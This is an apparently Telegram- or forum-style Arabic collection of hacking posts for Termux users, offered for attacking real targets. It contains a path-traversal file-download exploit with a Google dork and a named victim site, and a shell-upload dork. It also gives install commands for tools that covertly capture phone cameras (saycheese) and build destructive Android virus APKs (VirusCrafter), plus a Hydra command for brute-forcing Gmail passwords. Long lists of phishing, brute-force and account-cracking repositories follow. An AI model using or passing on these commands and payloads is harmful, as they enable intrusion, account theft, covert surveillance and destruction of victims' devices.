ثغرة  (FTP2FTP ( Arbitrary File Download :
الدورك  
: inurl:/download2.php?id=
—
الاستغلال


http(s)://host.com/[patch]?id=../index.php
or
http(s)://host.com/[patch]?id=/index.php
—
مثال


http://www.supersat.cz/download/azbox/download2.php?id=23

after exploit :

http://www.supersat.cz/download/azbox/download2.php?id=../index.php
=========================



#CS

السلام عليكم ورحمة الله وبركاته
شرحي اليوم شوي بسيط
وهو تحميل مقطع من الفيس بوك

عن طريق أداة Facebook-Video-Downloader


الأوامر


git clone https://github.com/Tuhinshubhra/Facebook-Video-Downloader

cd Facebook-Video-Downloader

php fb.php

enter URL for example (https://www.facebook.com/cctvcom/videos/1410869539034155/)

بعدها ح يطلب اسم للملف حقك
مثلا انا اخترت rubics



#CS

السلام عليكم ورحمة الله وبركاته
أداة TM-scanner رائعه تحتوي الكثير من الأدوات و طريقه استخدمها

الأوامر


git clone https://github.com/TechnicalMujeeb/TM-scanner

cd TM-scanner

chmod +x * sh install.sh

python2 tmscanner.py


#CS

Get Proxy 💯👌
😀

1⃣ apt update
2⃣ apt upgrade
3⃣ pkg install python2
4⃣ pkg install git
5⃣ git clone https://github.com/siruidops/proxy
6⃣ cd proxy
7⃣ pip install -r requirements.txt
8⃣ python2 proxy.py


#CS

Upload shell & SQLi :
~~~~~~~~~~~~~~~~~
Dorks#
|~
inurl:"post.php?p_id="
inurl:"/category.php?category="
—————————————-
Exploit#
|~

مثال

http://[target]/assets/images/profile_pics/your shell.phtml
——————————————

#CS

أداة Spammer

$ apt update && apt upgrade -y

$ pkg install git php -y

$ git clone https://github.com/MaulanaRyM/Spammer

$ cd Spammer

$ php spammer.php

#CS

اداة hacktronian

مميزات الاداة

Information Gathering
Password Attacks
Wireless Testing
Exploitation Tools
Sniffing & Spoofing
Web Hacking
Private Web Hacking
Post Exploitation


اوامر تثبيت الاداة


$ pkg install git

$ pkg install python

$ git clone https://github.com/thehackingsage/hacktronian.git

$ cd hacktronian

$ chmod +x hacktronian.py

$ python2 hacktronian.py


#CS

اداة saycheese

وظيفتها التحكم ب اي كاميرا هاتف عبر link


$ pkg update

$ pkg install git

$ pkg install wget

$ pkg install curl

$ pkg install php

$ pkg install openssh

$ git clone https://github.com/thelinuxchoice/saycheese.git

$ ls

$ cd saycheese

$ ls

$ chmod +x saycheese.sh

$ ls

$ bash saycheese.sh

You IP Address View $ ifconfig

#CS

معرفه معلومات معينه لشخص بتويتر


$ apt update

$ apt install nodejs

$ npm install -global twifo-cli

$ twifo ..... ( Seach Twitter username and name)

#CS

اقدم لكم اداة || VirusCrafter || اداه جديده وقويه لصنع تطبيقات الفيروس على شكل برامج اندرويد هذه الفيروسات خطيره انتبهوا بعد القيام بصناعتها تثبيتها بجهازكم الاندرويد منها فورمات ومنها حرق المعالج ومنها سحب رصيد الجوال
( 18 ) فيروس APK بالاداه



$ pkg install python2

$ pkg install wget

$ pkg install figlet

$ gem install lolcat

$ git clone https://github.com/herp1337/VirusCrafter.git

$ cd VirusCrafter

$ python2 ViruzCrafter.py

📋 ملاحظه مهمه :
بعد الانتهاء من صنع الفيروس توجه الى ملفاتي بجهازك sdcard وراح تلاقي تطبيق الفيروس هناك .. الاداه لاتحتاج نقل الفيروس من termux الى sdcard ( ملفاتي ) يتم نقلها اوتوماتيكيا الى sdcard

#CS

اداة hacktronian

مميزات الاداة


{1}--Information Gathering
{2}--Password Attacks
{3}--Wireless Testing
{4}--Exploitation Tools
{5}--Sniffing & Spoofing
{6}--Web Hacking
{7}--Private Web Hacking
{8}--Post Exploitation
{0}--Install The HACKTRONIAN
{99}-Exit

الاوامر

Termux:
Website hacking and testing
💢 install few tool 💢

Installation in Android :

Open Termux

pkg install git

pkg install python

git clone https://github.com/thehackingsage/hacktronian.git

cd hacktronian

chmod +x hacktronian.py

python2 hacktronian.py
و بعدها اختر ما تشاء


#CS

امر مميز لي تخمين كلمات مرور gmail
و هي hydra
اولا تجهيز للسته من كلمات المرور wordlist
عن طريق
nano wordlist.txt

و بعدها نثبت الحزمه
pkg install hydra -y

و بعدها نكتب

 hydra -l  yourmail@gmail.com -P yourwordlist.txt -s 465 -S -v -V -t 1 smtp.gmail.com smtp 


#CS

كتابة اسمك علي termux

1 git clone https://github.com/Bhai4You/Termux-Banner

2 cd Termux-Banner

3 chmod +x requirement.sh

4 chmod +x t-ban.sh

5 bash requirement.sh

6 bash t-ban.sh


#CS

معرفه اسم المستخدم ل ايميل معين

$ apt update && apt upgrade

$ apt install git

$ apt install python2

$ apt install python

$ git clone https://github.com/lightos/credmap

$ cd credmap

$ chmod +x *

usage :

$ python2 credmap.py -h


$ python2 credmap.py --username king --email cs@email.com

Memo= is username of email

cs@email.com = this is email to check
---------------------------------------------------
بها العديد من المميزات الاخري اكتشفوها

#CS

مجموعه ادوات للكالي لينكس والترموكس ان لم تجربها لاتعمل نفسك هاكر
الادوات مقدمه من قبل #ابو_اسد_العراقي حصرا

https://github.com/Jamalc0m/wphunter

wpscanner.py /var/www/myblog

https://github.com/s0md3v/Shiva

https://github.com/0xAbdullah/0xWPBF

https://github.com/n00py/WPForce

https://github.com/x90skysn3k/brutespray

https://github.com/Viralmaniar/Passhunt

http://www.euphratespost.com/wp-login.php

https://github.com/Ha3MrX/Gemail-Hack

https://github.com/Pure-L0G1C/InstaBurst

https://github.com/sunnyelf/cheetah

https://github.com/m8r0wn/enumdb

https://github.com/ex0dus-0x/brut3k1t

https://github.com/Juniorn1003/Faitagram

Sniper Baghdad

#المنتقمون

السلام عليكم شباب بمناسبة قدوم اليوم العالمي للهكرز 2019/04/07
اقدم لكم ادوات قوية تعمل على ترمكس
افضل الادوات 💓

https://github.com/zigoo0/webpwn3r
https://github.com/dr-iman/aljyyosh-mass-poster
https://github.com/MTD-Technology/Server-ST3
https://github.com/Gameye98/OWScan
https://github.com/CiKu370/hasher
https://github.com/galauerscrew/hasherdotid
https://github.com/joker25000/Optiva-Framework
https://github.com/bitaurora/wp-brute
https://github.com/Ranginang67/DarkFly-Tool
https://github.com/n00py/WPForce
https://github.com/sqlmapproject/sqlmap
https://github.com/RecepGunes01/WordPress-Brute-Force
https://github.com/Ranginang67/DarkFly-Tool
https://github.com/profionaldhim/CSRF-Exploit
XSStrike
https://github.com/gbrindisi/xsssniper
git clone https://github.com/UndeadSec/GoblinWordGenerator
https://github.com/m4ll0k/WPSeku
git clone https://github.com/UndeadSec/SocialFish.git
https://github.com/yehia-mamdouh/XSSYA-V-2.0
https://github.com/IqbalzNoobs/fb-brute
https://github.com/Hider5/Malicious
https://github.com/s0md3v/XSStrike
pip2 install mechanize

$ apt update && apt upgrade
https://github.com/m4ll0k/WAScan
https://github.com/Gameye98/FBBrute
https://github.com/Manisso/Xshell
#Mr_Black_Eye

سكربت استغلال ثغرات تخمين وفحص werdpress

https://github.com/m4ll0k/WPSeku

سكربت استغلال ثغرات Exploit

https://github.com/profionaldhim/CSRF-Exploit

سكربت مجموعة ادوات قويه

https://github.com/Ranginang67/DarkFly-Tool

سكربتات فحص مواقع من الثغرات


https://github.com/MTD-Technology/Server-ST3

https://github.com/Gameye98/OWScan